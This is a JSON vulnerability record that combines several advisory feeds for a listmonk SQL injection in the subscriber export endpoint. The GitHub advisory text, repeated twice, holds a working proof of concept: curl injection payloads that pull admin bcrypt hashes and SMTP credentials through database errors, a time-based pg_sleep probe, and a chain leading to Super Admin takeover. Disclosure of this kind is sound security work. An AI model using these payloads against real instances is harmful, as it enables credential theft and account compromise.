{"id":"CVE-2026-62361","aliases":["EUVD-2026-44815","GHSA-xgjr-7j9q-2h4r"],"status":"published","title":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","description":"listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.","severity":{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00297,"percentile":0.2252,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-89"],"published":"2026-07-15T20:56:45.832Z","modified":"2026-11-06T18:30:03Z","fixes":[{"ecosystem":"Go","package":"github.com/knadh/listmonk","fixed_in":["1.1.1-0.20260619102436-c0a6525009a6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/knadh/listmonk","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.1-0.20260619102436-c0a6525009a6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/knadh/listmonk","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.1-0.20260619102436-c0a6525009a6"}]}]}],"products":[{"vendor":"knadh","product":"listmonk"}],"references":[{"url":"https://github.com/knadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4r","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/knadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/knadh/listmonk/releases/tag/v6.2.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62361","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xgjr-7j9q-2h4r"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/62xxx/CVE-2026-62361.json","tags":["advisory"]},{"url":"https://github.com/knadh/listmonk","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-62361","title":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","description":"listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.","status":"published","published":"2026-07-15T20:56:45.832Z","modified":"2026-07-16T15:12:24.544Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:20:14.999906Z"}],"euvd":[{"id":"EUVD-2026-44815","description":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","status":"published","published":"2026-11-06T18:15:17Z","modified":"2026-11-06T18:15:17Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"updated_at":"2026-11-06T19:05:52.672747Z"}],"ghsa":[{"id":"GHSA-xgjr-7j9q-2h4r","title":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","description":"### Summary\n\nA SQL injection vulnerability in `GET /api/subscribers/export` allows an authenticated user with the `subscribers:sql_query` permission to bypass the table access control that exists on the regular query endpoint (`GET /api/subscribers`) and read arbitrary tables from the database — including `users` (bcrypt password hashes) and `settings` (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: `subscribers:sql_query` → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.\n\n---\n\n### Details\n\nThe subscriber query feature accepts a user-controlled `query` parameter that is injected directly into a SQL template via `strings.ReplaceAll`. The regular query endpoint `GET /api/subscribers` correctly calls `validateQueryTables` to block access to sensitive tables before execution. The export endpoint `GET /api/subscribers/export` **omits this call entirely**, creating an asymmetric bypass of an intentional security control.\n\n**`internal/core/subscribers.go` — protected path (regular query):**\n\n```go\n// QuerySubscribers — table validation present\nstmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, \"%query%\", cond)\nif err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {\n    return nil, 0, echo.NewHTTPError(http.StatusBadRequest,\n        fmt.Sprintf(\"Error preparing subscriber query: %v\", err))\n}\n```\n\n**`internal/core/subscribers.go` — vulnerable path (export):**\n\n```go\n// ExportSubscribers — NO table validation\nstmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, \"%query%\", cond)\ntx, err := c.db.Preparex(stmt)  // executes directly without restriction\n```\n\n**`queries/subscribers.sql` — the `%query%` placeholder is injected into a WHERE clause:**\n\n```sql\nSELECT subscribers.id, subscribers.email, ...\nFROM subscribers\nLEFT JOIN subscriber_lists ON ...\nWHERE (subscribers.status != 'blocklisted') AND %query%\nORDER BY subscribers.id ASC LIMIT ...\n```\n\nBecause the export path does not run inside a `ReadOnly` transaction (unlike the dry-run used in `QuerySubscribers`), PostgreSQL CTEs with data-modifying statements (`WITH ... UPDATE ... RETURNING`) are also executable, enabling write operations beyond read-only exfiltration.\n\n---\n\n### PoC\n\n**Prerequisites:** Authenticated session with `subscribers:sql_query` and `subscribers:get_all` permissions.\n\n**Step 1 — Confirm the bypass (blocked on query, open on export):**\n\n```bash\n# Blocked on regular endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# → HTTP 400: {\"message\":\"Error preparing subscriber query: table 'users' is not allowed\"}\n\n# Bypassed on export endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# → HTTP 200: returns subscriber rows with no error\n```\n\n**Step 2 — Error-based exfiltration of admin password hash:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+\u003e+0\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n  \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\\\"\"\n}\n```\n\n**Step 3 — Error-based exfiltration of SMTP credentials:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+\u003e+0\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n  \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"[{\\\"host\\\": \\\"smtp.yoursite.com\\\", \\\"port\\\": 25, \\\"enabled\\\": true, \\\"password\\\": \\\"...\\\", \\\"username\\\": \\\"...\\\"}]\\\"\"\n}\n```\n\n**Step 4 — Time-based blind confirmation:**\n\n```bash\ntime curl -s \"http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# Returns after ~3 seconds — confirms arbitrary SQL function execution\n```\n\n---\n\n### Impact\n\nThis is a SQL injection vulnerability that bypasses an intentional security control. Any user with the `subscribers:sql_query` permission can:\n\n- Read bcrypt password hashes of all admin accounts (including Super Admin)\n- Extract SMTP credentials, API keys, and all values stored in the `settings` table\n- Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover\n- Execute data-modifying SQL via PostgreSQL CTEs (write impact)\n\n**Attack chain:** `subscribers:sql_query` → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.\n\nThis finding is **distinct** from the accepted risk in listmonk's security policy (\"SQL injection via subscriber query is a known limitation\"). The regular query endpoint correctly applies `validateQueryTables` to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.","status":"published","published":"2026-11-06T18:15:17Z","modified":"2026-11-06T18:15:18Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-89"],"updated_at":"2026-11-06T18:31:16.145846Z"}],"nvd":[{"id":"CVE-2026-62361","description":"listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.","status":"published","published":"2026-07-15T21:16:55.933Z","modified":"2026-10-24T21:10:00.13Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:12:30.250437Z"}],"osv":[{"id":"CVE-2026-62361","title":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","description":"listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to 6.2.0, listmonk’s GET /api/subscribers/export endpoint injects the user-controlled query parameter into QuerySubscribersForExport in internal/core/subscribers.go without calling validateQueryTables, unlike GET /api/subscribers, allowing an authenticated user with subscribers:sql_query and subscribers:get_all to read arbitrary database tables such as users and settings and execute data-modifying PostgreSQL CTEs. This issue is fixed in version 6.2.0.","status":"published","published":"2026-07-15T20:56:45.832Z","modified":"2026-10-28T02:30:28.801186773Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:45:13.306117Z"},{"id":"GHSA-xgjr-7j9q-2h4r","title":"listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials","description":"### Summary\n\nA SQL injection vulnerability in `GET /api/subscribers/export` allows an authenticated user with the `subscribers:sql_query` permission to bypass the table access control that exists on the regular query endpoint (`GET /api/subscribers`) and read arbitrary tables from the database — including `users` (bcrypt password hashes) and `settings` (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: `subscribers:sql_query` → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.\n\n---\n\n### Details\n\nThe subscriber query feature accepts a user-controlled `query` parameter that is injected directly into a SQL template via `strings.ReplaceAll`. The regular query endpoint `GET /api/subscribers` correctly calls `validateQueryTables` to block access to sensitive tables before execution. The export endpoint `GET /api/subscribers/export` **omits this call entirely**, creating an asymmetric bypass of an intentional security control.\n\n**`internal/core/subscribers.go` — protected path (regular query):**\n\n```go\n// QuerySubscribers — table validation present\nstmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, \"%query%\", cond)\nif err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {\n    return nil, 0, echo.NewHTTPError(http.StatusBadRequest,\n        fmt.Sprintf(\"Error preparing subscriber query: %v\", err))\n}\n```\n\n**`internal/core/subscribers.go` — vulnerable path (export):**\n\n```go\n// ExportSubscribers — NO table validation\nstmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, \"%query%\", cond)\ntx, err := c.db.Preparex(stmt)  // executes directly without restriction\n```\n\n**`queries/subscribers.sql` — the `%query%` placeholder is injected into a WHERE clause:**\n\n```sql\nSELECT subscribers.id, subscribers.email, ...\nFROM subscribers\nLEFT JOIN subscriber_lists ON ...\nWHERE (subscribers.status != 'blocklisted') AND %query%\nORDER BY subscribers.id ASC LIMIT ...\n```\n\nBecause the export path does not run inside a `ReadOnly` transaction (unlike the dry-run used in `QuerySubscribers`), PostgreSQL CTEs with data-modifying statements (`WITH ... UPDATE ... RETURNING`) are also executable, enabling write operations beyond read-only exfiltration.\n\n---\n\n### PoC\n\n**Prerequisites:** Authenticated session with `subscribers:sql_query` and `subscribers:get_all` permissions.\n\n**Step 1 — Confirm the bypass (blocked on query, open on export):**\n\n```bash\n# Blocked on regular endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# → HTTP 400: {\"message\":\"Error preparing subscriber query: table 'users' is not allowed\"}\n\n# Bypassed on export endpoint:\ncurl -s \"http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# → HTTP 200: returns subscriber rows with no error\n```\n\n**Step 2 — Error-based exfiltration of admin password hash:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+\u003e+0\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n  \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\\\"\"\n}\n```\n\n**Step 3 — Error-based exfiltration of SMTP credentials:**\n\n```bash\ncurl -s \"http://TARGET:9000/api/subscribers/export?\\\nquery=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+\u003e+0\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n```\n\nResponse:\n```json\n{\n  \"message\": \"Error fetching Subscribers: pq: invalid input syntax for type integer: \\\"[{\\\"host\\\": \\\"smtp.yoursite.com\\\", \\\"port\\\": 25, \\\"enabled\\\": true, \\\"password\\\": \\\"...\\\", \\\"username\\\": \\\"...\\\"}]\\\"\"\n}\n```\n\n**Step 4 — Time-based blind confirmation:**\n\n```bash\ntime curl -s \"http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL\" \\\n  -H \"Cookie: session=SESSION_TOKEN\"\n# Returns after ~3 seconds — confirms arbitrary SQL function execution\n```\n\n---\n\n### Impact\n\nThis is a SQL injection vulnerability that bypasses an intentional security control. Any user with the `subscribers:sql_query` permission can:\n\n- Read bcrypt password hashes of all admin accounts (including Super Admin)\n- Extract SMTP credentials, API keys, and all values stored in the `settings` table\n- Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover\n- Execute data-modifying SQL via PostgreSQL CTEs (write impact)\n\n**Attack chain:** `subscribers:sql_query` → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.\n\nThis finding is **distinct** from the accepted risk in listmonk's security policy (\"SQL injection via subscriber query is a known limitation\"). The regular query endpoint correctly applies `validateQueryTables` to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.","status":"published","published":"2026-11-06T18:15:17Z","modified":"2026-11-06T18:30:03.804618782Z","cvss":[{"version":"3.1","score":5.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-89"],"updated_at":"2026-11-06T18:35:17.269535Z"}]}}
